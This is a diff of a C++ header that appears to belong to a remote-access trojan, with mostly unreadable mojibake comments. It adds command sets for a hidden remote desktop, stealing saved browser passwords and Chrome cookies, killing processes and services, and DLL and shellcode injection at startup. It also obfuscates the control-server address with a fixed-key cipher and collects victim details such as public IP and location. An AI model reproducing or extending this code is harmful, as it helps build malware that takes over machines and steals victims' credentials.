enum ProxyManager {
|
enum ProxyManager {
|
||||||
@@ -227,6 +266,185 @@ enum ProxyManager {
|
|||||||
COMMAND_PROXY_CONNECT_HOSTNAME,
|
COMMAND_PROXY_CONNECT_HOSTNAME,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// <20><>̨<EFBFBD><CCA8>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum HideScreenSpy {
|
||||||
|
COMMAND_FLUSH_HIDE, // ˢ<><CBA2><EFBFBD><EFBFBD>Ļ
|
||||||
|
COMMAND_SCREEN_SETSCREEN_HIDE, // <20><><EFBFBD>÷ֱ<C3B7><D6B1><EFBFBD>
|
||||||
|
COMMAND_HIDE_USER, // <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_HIDE_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̨
|
||||||
|
COMMAND_COMMAND_SCREENUALITY60_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_COMMAND_SCREENUALITY85_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_COMMAND_SCREENUALITY100_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
IDM_OPEN_Explorer = 33,
|
||||||
|
IDM_OPEN_run,
|
||||||
|
IDM_OPEN_Powershell,
|
||||||
|
|
||||||
|
IDM_OPEN_360JS,
|
||||||
|
IDM_OPEN_360AQ,
|
||||||
|
IDM_OPEN_360AQ2,
|
||||||
|
IDM_OPEN_Chrome,
|
||||||
|
IDM_OPEN_Edge,
|
||||||
|
IDM_OPEN_Brave,
|
||||||
|
IDM_OPEN_Firefox,
|
||||||
|
IDM_OPEN_Iexplore,
|
||||||
|
IDM_OPEN_ADD_1,
|
||||||
|
IDM_OPEN_ADD_2,
|
||||||
|
IDM_OPEN_ADD_3,
|
||||||
|
IDM_OPEN_ADD_4,
|
||||||
|
IDM_OPEN_zdy,
|
||||||
|
IDM_OPEN_zdy2,
|
||||||
|
IDM_OPEN_close,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ZdyCmd {
|
||||||
|
char oldpath[_MAX_PATH];
|
||||||
|
char newpath[_MAX_PATH];
|
||||||
|
char cmdline[_MAX_PATH];
|
||||||
|
};
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum DecryptCommand {
|
||||||
|
COMMAND_LLQ_GetChromePassWord,
|
||||||
|
COMMAND_LLQ_GetEdgePassWord,
|
||||||
|
COMMAND_LLQ_GetSpeed360PassWord,
|
||||||
|
COMMAND_LLQ_Get360sePassWord,
|
||||||
|
COMMAND_LLQ_GetQQBroPassWord,
|
||||||
|
|
||||||
|
COMMAND_LLQ_GetChromeCookies,
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef DecryptCommand BroType;
|
||||||
|
|
||||||
|
// <20><><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ<EFBFBD><D2B3><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6><EFBFBD>
|
||||||
|
#define CMD_WINDOW_CLOSE 0 // <20>رմ<D8B1><D5B4><EFBFBD>
|
||||||
|
#define CMD_WINDOW_TEST 1 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
// MachineManager ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD>, ǰ<><C7B0><EFBFBD><EFBFBD>ö<EFBFBD><C3B6>ֵ˳<D6B5><EFBFBD><F2B2BBB5><EFBFBD>
|
||||||
|
enum MachineManager {
|
||||||
|
COMMAND_MACHINE_PROCESS,
|
||||||
|
COMMAND_MACHINE_WINDOWS,
|
||||||
|
COMMAND_MACHINE_NETSTATE,
|
||||||
|
COMMAND_MACHINE_SOFTWARE,
|
||||||
|
COMMAND_MACHINE_HTML,
|
||||||
|
COMMAND_MACHINE_FAVORITES,
|
||||||
|
COMMAND_MACHINE_WIN32SERVICE,
|
||||||
|
COMMAND_MACHINE_DRIVERSERVICE,
|
||||||
|
COMMAND_MACHINE_TASK,
|
||||||
|
COMMAND_MACHINE_HOSTS, //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
COMMAND_APPUNINSTALL,//ж<><D0B6>
|
||||||
|
COMMAND_WINDOW_OPERATE,//<2F><><EFBFBD>ڿ<EFBFBD><DABF><EFBFBD>
|
||||||
|
COMMAND_WINDOW_CLOSE,//<2F>ر<EFBFBD>
|
||||||
|
COMMAND_PROCESS_KILL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_PROCESS_KILLDEL,//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>----ɾ<><C9BE>
|
||||||
|
COMMAND_PROCESS_DEL,//ǿ<><C7BF>ɾ<EFBFBD><C9BE> <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_PROCESS_FREEZING,//<2F><><EFBFBD><EFBFBD>
|
||||||
|
COMMAND_PROCESS_THAW,//<2F>ⶳ
|
||||||
|
COMMAND_HOSTS_SET,//hosts
|
||||||
|
|
||||||
|
COMMAND_SERVICE_LIST_WIN32,
|
||||||
|
COMMAND_SERVICE_LIST_DRIVER,
|
||||||
|
COMMAND_DELETESERVERICE,
|
||||||
|
COMMAND_STARTSERVERICE,
|
||||||
|
COMMAND_STOPSERVERICE,
|
||||||
|
COMMAND_PAUSESERVERICE,
|
||||||
|
COMMAND_CONTINUESERVERICE,
|
||||||
|
|
||||||
|
COMMAND_TASKCREAT,
|
||||||
|
COMMAND_TASKDEL,
|
||||||
|
COMMAND_TASKSTOP,
|
||||||
|
COMMAND_TASKSTART,
|
||||||
|
|
||||||
|
COMMAND_INJECT,
|
||||||
|
|
||||||
|
TOKEN_MACHINE_PROCESS,
|
||||||
|
TOKEN_MACHINE_WINDOWS,
|
||||||
|
TOKEN_MACHINE_NETSTATE,
|
||||||
|
TOKEN_MACHINE_SOFTWARE,
|
||||||
|
TOKEN_MACHINE_HTML,
|
||||||
|
TOKEN_MACHINE_FAVORITES,
|
||||||
|
TOKEN_MACHINE_WIN32SERVICE,
|
||||||
|
TOKEN_MACHINE_DRIVERSERVICE,
|
||||||
|
TOKEN_MACHINE_HOSTS,
|
||||||
|
TOKEN_MACHINE_SERVICE_LIST,
|
||||||
|
TOKEN_MACHINE_TASKLIST,
|
||||||
|
|
||||||
|
TOKEN_MACHINE_MSG,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct WINDOWSINFO {
|
||||||
|
char strTitle[1024];
|
||||||
|
DWORD m_poceessid;
|
||||||
|
DWORD m_hwnd;
|
||||||
|
bool canlook;
|
||||||
|
int w;
|
||||||
|
int h;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Զ<>̽<EFBFBD≯
|
||||||
|
enum ChatManager {
|
||||||
|
COMMAND_NEXT_CHAT,
|
||||||
|
COMMAND_CHAT_CLOSE,
|
||||||
|
COMMAND_CHAT_SCREEN_LOCK,
|
||||||
|
COMMAND_CHAT_SCREEN_UNLOCK,
|
||||||
|
};
|
||||||
|
|
||||||
|
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
enum FileManager {
|
||||||
|
COMMAND_COMPRESS_FILE_PARAM=220,
|
||||||
|
COMMAND_FILES_SEARCH_START,
|
||||||
|
COMMAND_FILES_SEARCH_STOP,
|
||||||
|
COMMAND_FILE_EXCEPTION,
|
||||||
|
COMMAND_SEARCH_FILE,
|
||||||
|
COMMAND_FILE_GETNETHOOD,
|
||||||
|
COMMAND_FILE_RECENT,
|
||||||
|
COMMAND_FILE_INFO,
|
||||||
|
COMMAND_FILE_Encryption,
|
||||||
|
COMMAND_FILE_Decrypt,
|
||||||
|
COMMAND_FILE_ENFOCE,
|
||||||
|
COMMAND_FILE_CopyFile,
|
||||||
|
COMMAND_FILE_PasteFile,
|
||||||
|
COMMAND_FILE_zip,
|
||||||
|
COMMAND_FILE_zip_stop,
|
||||||
|
COMMAND_FILE_NO_ENFORCE,
|
||||||
|
COMMAND_FILE_GETINFO,
|
||||||
|
|
||||||
|
COMMAND_FILE_SEARCHPLUS_LIST,
|
||||||
|
|
||||||
|
TOKEN_SEARCH_FILE_LIST,
|
||||||
|
TOKEN_SEARCH_FILE_FINISH,
|
||||||
|
TOKEN_CFileManagerDlg_DATA_CONTINUE,
|
||||||
|
TOKEN_COMPRESS_FINISH,
|
||||||
|
TOKEN_SEARCH_ADD,
|
||||||
|
TOKEN_SEARCH_END,
|
||||||
|
TOKEN_FILE_GETNETHOOD,
|
||||||
|
TOKEN_FILE_RECENT,
|
||||||
|
TOKEN_FILE_INFO,
|
||||||
|
TOKEN_FILE_REFRESH,
|
||||||
|
TOKEN_FILE_ZIPOK,
|
||||||
|
TOKEN_FILE_GETINFO,
|
||||||
|
|
||||||
|
TOKEN_FILE_SEARCHPLUS_LIST,
|
||||||
|
TOKEN_FILE_SEARCHPLUS_NONTFS,
|
||||||
|
TOKEN_FILE_SEARCHPLUS_HANDLE,
|
||||||
|
TOKEN_FILE_SEARCHPLUS_INITUSN,
|
||||||
|
TOKEN_FILE_SEARCHPLUS_GETUSN,
|
||||||
|
TOKEN_FILE_SEARCHPLUS_NUMBER,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Զ<>̻<EFBFBD><CCBB><EFBFBD>
|
||||||
|
enum RemoteDraw {
|
||||||
|
CMD_DRAW_POINT = 0,
|
||||||
|
CMD_DRAW_END = 1,
|
||||||
|
CMD_TRANSPORT = 2,
|
||||||
|
CMD_TOPMOST = 3,
|
||||||
|
CMD_MOVEWINDOW = 4,
|
||||||
|
CMD_SET_SIZE = 5,
|
||||||
|
CMD_DRAW_CLEAR = 6,
|
||||||
|
CMD_DRAW_TEXT = 7,
|
||||||
|
};
|
||||||
|
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
CLIENT_TYPE_DLL = 0, // <20>ͻ<EFBFBD><CDBB>˴<EFBFBD><CBB4><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
@@ -265,6 +483,71 @@ inline const char* GetClientType(int typ) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
inline int compareDates(const std::string& date1, const std::string& date2) {
|
||||||
|
static const std::unordered_map<std::string, int> monthMap = {
|
||||||
|
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4}, {"May", 5}, {"Jun", 6},
|
||||||
|
{"Jul", 7}, {"Aug", 8}, {"Sep", 9}, {"Oct",10}, {"Nov",11}, {"Dec",12}
|
||||||
|
};
|
||||||
|
|
||||||
|
auto parse = [&](const std::string& date) -> std::tuple<int, int, int> {
|
||||||
|
int month = monthMap.at(date.substr(0, 3));
|
||||||
|
int day = std::stoi(date.substr(4, 2));
|
||||||
|
int year = std::stoi(date.substr(7, 4));
|
||||||
|
return { year, month, day };
|
||||||
|
};
|
||||||
|
|
||||||
|
try {
|
||||||
|
auto t1 = parse(date1);
|
||||||
|
auto t2 = parse(date2);
|
||||||
|
int y1 = std::get<0>(t1), m1 = std::get<1>(t1), d1 = std::get<2>(t1);
|
||||||
|
int y2 = std::get<0>(t2), m2 = std::get<1>(t2), d2 = std::get<2>(t2);
|
||||||
|
|
||||||
|
if (y1 != y2) return y1 < y2 ? -1 : 1;
|
||||||
|
if (m1 != m2) return m1 < m2 ? -1 : 1;
|
||||||
|
if (d1 != d2) return d1 < d2 ? -1 : 1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
catch (const std::exception& e) {
|
||||||
|
std::cerr << "Date parse error: " << e.what() << std::endl;
|
||||||
|
return -2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ö<EFBFBD><C3B6>ֵ<EFBFBD><D6B5>ClientType<70><65><EFBFBD>ƣ<EFBFBD><C6A3><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD>ȫһ<C8AB>£<EFBFBD>רΪ`TestRun`<60><><EFBFBD><EFBFBD>
|
||||||
|
// ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>`ServerDll`<60><><EFBFBD><EFBFBD>ʽ
|
||||||
|
// `TestRun` ֻ<><D6BB><EFBFBD>ڼ<EFBFBD><DABC><EFBFBD><EFBFBD>о<EFBFBD>Ŀ<EFBFBD><C4BF>
|
||||||
|
enum TestRunType {
|
||||||
|
Startup_DLL, // <20><><EFBFBD><EFBFBD>DLL
|
||||||
|
Startup_MEMDLL, // <20>ڴ<EFBFBD>DLL<4C><4C><EFBFBD><EFBFBD><DEB4><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
Startup_InjDLL, // Զ<><D4B6>ע<EFBFBD><D7A2> DLL<4C><4C>ע<EFBFBD><D7A2>DLL·<4C><C2B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>
|
||||||
|
Startup_Shellcode, // <20><><EFBFBD><EFBFBD> Shell code <20><><EFBFBD>ڵ<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||||
|
Startup_InjSC, // Զ<><D4B6> Shell code <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>shell code <20><>
|
||||||
|
};
|
||||||
|
|
||||||
|
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < iBufferSize - iKeySize; ++i)
|
||||||
|
{
|
||||||
|
if (0 == memcmp(szBuffer + i, Key, iKeySize))
|
||||||
|
{
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
enum ProtoType {
|
||||||
|
PROTO_TCP = 0, // TCP
|
||||||
|
PROTO_UDP = 1, // UDP
|
||||||
|
PROTO_HTTP = 2, // HTTP
|
||||||
|
PROTO_HTTPS = 3, // HTTPS
|
||||||
|
};
|
||||||
|
|
||||||
|
enum RunningType {
|
||||||
|
RUNNING_RANDOM = 0, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
RUNNING_PARALLEL = 1, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD><D3B5><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
typedef struct CONNECT_ADDRESS
|
typedef struct CONNECT_ADDRESS
|
||||||
{
|
{
|
||||||
@@ -276,7 +559,12 @@ public:
|
|||||||
bool bEncrypt;
|
bool bEncrypt;
|
||||||
char szBuildDate[12];
|
char szBuildDate[12];
|
||||||
int iMultiOpen;
|
int iMultiOpen;
|
||||||
char szReserved[134]; // ռλ<EFBFBD><EFBFBD>ʹ<EFBFBD>ṹ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD>300<EFBFBD>ֽ<EFBFBD>
|
int iStartup; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||||
|
int iHeaderEnc; // <20><><EFBFBD>ݼ<EFBFBD><DDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char protoType; // Э<><D0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char runningType; // <20><><EFBFBD>з<EFBFBD>ʽ
|
||||||
|
char szReserved[60]; // ռλ<D5BC><CEBB>ʹ<EFBFBD>ṹ<EFBFBD><E1B9B9>ռ<EFBFBD><D5BC>300<30>ֽ<EFBFBD>
|
||||||
|
char pwdHash[64];
|
||||||
|
|
||||||
public:
|
public:
|
||||||
void SetType(int typ) {
|
void SetType(int typ) {
|
||||||
@@ -285,32 +573,101 @@ public:
|
|||||||
const void* Flag() const {
|
const void* Flag() const {
|
||||||
return szFlag;
|
return szFlag;
|
||||||
}
|
}
|
||||||
|
CONNECT_ADDRESS ModifyFlag(const char* flag) const {
|
||||||
|
CONNECT_ADDRESS copy = *this;
|
||||||
|
memset(copy.szFlag, 0, sizeof(szFlag));
|
||||||
|
memcpy(copy.szFlag, flag, strlen(flag));
|
||||||
|
return copy;
|
||||||
|
}
|
||||||
int FlagLen() const {
|
int FlagLen() const {
|
||||||
return strlen(szFlag);
|
return strlen(szFlag);
|
||||||
}
|
}
|
||||||
const char* ServerIP()const {
|
const char* ServerIP(){
|
||||||
|
if (bEncrypt) {
|
||||||
|
Decrypt();
|
||||||
|
}
|
||||||
return szServerIP;
|
return szServerIP;
|
||||||
}
|
}
|
||||||
int ServerPort()const {
|
int ServerPort() {
|
||||||
|
if (bEncrypt) {
|
||||||
|
Decrypt();
|
||||||
|
}
|
||||||
return atoi(szPort);
|
return atoi(szPort);
|
||||||
}
|
}
|
||||||
int ClientType()const {
|
int ClientType()const {
|
||||||
return iType;
|
return iType;
|
||||||
}
|
}
|
||||||
void SetServer(const char* ip, int port) {
|
// return true if modified
|
||||||
if (ip && strlen(ip) && port > 0) {
|
bool SetServer(const char* ip, int port, bool e = false) {
|
||||||
|
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
|
||||||
|
return false;
|
||||||
|
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
|
||||||
|
bEncrypt = e;
|
||||||
strcpy_s(szServerIP, ip);
|
strcpy_s(szServerIP, ip);
|
||||||
sprintf_s(szPort, "%d", port);
|
sprintf_s(szPort, "%d", port);
|
||||||
|
|
||||||
|
return modified;
|
||||||
|
}
|
||||||
|
void Encrypt() {
|
||||||
|
if (!bEncrypt){
|
||||||
|
bEncrypt = true;
|
||||||
|
StreamCipher cipher(0x12345678);
|
||||||
|
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
|
||||||
|
cipher.process((uint8_t*)szPort, sizeof(szPort));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
bool IsValid()const {
|
void Decrypt() {
|
||||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
if (bEncrypt) {
|
||||||
|
bEncrypt = false;
|
||||||
|
StreamCipher cipher(0x12345678);
|
||||||
|
cipher.process((uint8_t*)szServerIP, sizeof(szServerIP));
|
||||||
|
cipher.process((uint8_t*)szPort, sizeof(szPort));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
bool IsValid() {
|
||||||
|
return strlen(ServerIP()) != 0 && ServerPort() > 0;
|
||||||
}
|
}
|
||||||
int Size() const {
|
int Size() const {
|
||||||
return sizeof(CONNECT_ADDRESS);
|
return sizeof(CONNECT_ADDRESS);
|
||||||
}
|
}
|
||||||
} CONNECT_ADDRESS ;
|
} CONNECT_ADDRESS ;
|
||||||
|
|
||||||
|
#define FOREVER_RUN 2
|
||||||
|
|
||||||
|
// <20>ͻ<EFBFBD><CDBB>˳<EFBFBD><CBB3><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>5<EFBFBD><35><EFBFBD><EFBFBD>Ա:
|
||||||
|
// <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߲<EFBFBD><DFB2><EFBFBD>(user)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ(conn).
|
||||||
|
struct ThreadInfo
|
||||||
|
{
|
||||||
|
int run;
|
||||||
|
HANDLE h;
|
||||||
|
void* p;
|
||||||
|
void* user;
|
||||||
|
CONNECT_ADDRESS* conn;
|
||||||
|
ThreadInfo() : run(1), h(NULL), p(NULL), user(NULL), conn(NULL) { }
|
||||||
|
void Exit(int wait_sec = 15) {
|
||||||
|
run = 0;
|
||||||
|
for (int count = 0; p && count++ < wait_sec; Sleep(1000));
|
||||||
|
#ifdef _WIN32
|
||||||
|
if (p) TerminateThread(h, 0x20250626);
|
||||||
|
if (p) CloseHandle(h);
|
||||||
|
#endif
|
||||||
|
p = NULL;
|
||||||
|
h = NULL;
|
||||||
|
user = NULL;
|
||||||
|
conn = NULL;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct PluginParam {
|
||||||
|
char IP[100]; // <20><><EFBFBD><EFBFBD>IP
|
||||||
|
int Port; // <20><><EFBFBD>ض˿<D8B6>
|
||||||
|
State *Exit; // <20>ͻ<EFBFBD><CDBB><EFBFBD>״̬
|
||||||
|
void* User; // CONNECT_ADDRESS* ָ<><D6B8>
|
||||||
|
PluginParam(const char*ip, int port, State *s, void* u=0) : Port(port), Exit(s), User(u){
|
||||||
|
strcpy_s(IP, ip);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
// <20><><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>ַ<EFBFBD><D6B7>ָ<EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||||
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
inline std::vector<std::string> StringToVector(const std::string& str, char ch, int reserved = 1) {
|
||||||
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
// ʹ<><CAB9><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
@@ -328,6 +685,22 @@ inline std::vector<std::string> StringToVector(const std::string& str, char ch,
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
enum LOGIN_RES {
|
||||||
|
RES_CLIENT_TYPE = 0, // <20><><EFBFBD><EFBFBD>
|
||||||
|
RES_SYSTEM_BITS = 1, // ϵͳλ<CDB3><CEBB>
|
||||||
|
RES_SYSTEM_CPU = 2, // CPU<50><55><EFBFBD><EFBFBD>
|
||||||
|
RES_SYSTEM_MEM = 3, // ϵͳ<CFB5>ڴ<EFBFBD>
|
||||||
|
RES_FILE_PATH = 4, // <20>ļ<EFBFBD>·<EFBFBD><C2B7>
|
||||||
|
RES_RESVERD = 5, // ?
|
||||||
|
RES_INSTALL_TIME = 6, // <20><>װʱ<D7B0><CAB1>
|
||||||
|
RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ
|
||||||
|
RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
||||||
|
RES_MAX,
|
||||||
|
};
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ߺ<EFBFBD><DFBA><EFBFBD><EFBFBD>͵ļ<CDB5><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||||
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
// <20>˽ṹ<CBBD><E1B9B9>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>仯<EFBFBD><E4BBAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD>汾<EFBFBD>Ŀͻ<C4BF><CDBB><EFBFBD><EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>°<EFBFBD><C2B0><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
// <20>°<EFBFBD><C2B0>ͻ<EFBFBD><CDBB><EFBFBD>Ҳ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ϰ汾<CFB0><E6B1BE><EFBFBD><EFBFBD><EFBFBD>س<EFBFBD><D8B3><EFBFBD>.
|
||||||
@@ -339,7 +712,8 @@ typedef struct LOGIN_INFOR
|
|||||||
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
char OsVerInfoEx[156]; // 2.<2E>汾<EFBFBD><E6B1BE>Ϣ
|
||||||
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
unsigned int dwCPUMHz; // 3.CPU<50><55>Ƶ
|
||||||
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
char moduleVersion[24]; // 4.DLLģ<4C><C4A3><EFBFBD>汾
|
||||||
char szPCName[_MAX_PATH]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
char szPCName[240]; // 5.<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char szMasterID[20]; // 5.1 <20><><EFBFBD><EFBFBD>ID
|
||||||
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
int bWebCamIsExist; // 6.<2E>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
unsigned int dwSpeed; // 7.<2E><><EFBFBD><EFBFBD>
|
||||||
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
char szStartTime[20]; // 8.<2E><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>
|
||||||
@@ -421,6 +795,16 @@ typedef struct MasterSettings {
|
|||||||
char Reserved[476]; // Ԥ<><D4A4>
|
char Reserved[476]; // Ԥ<><D4A4>
|
||||||
}MasterSettings;
|
}MasterSettings;
|
||||||
|
|
||||||
|
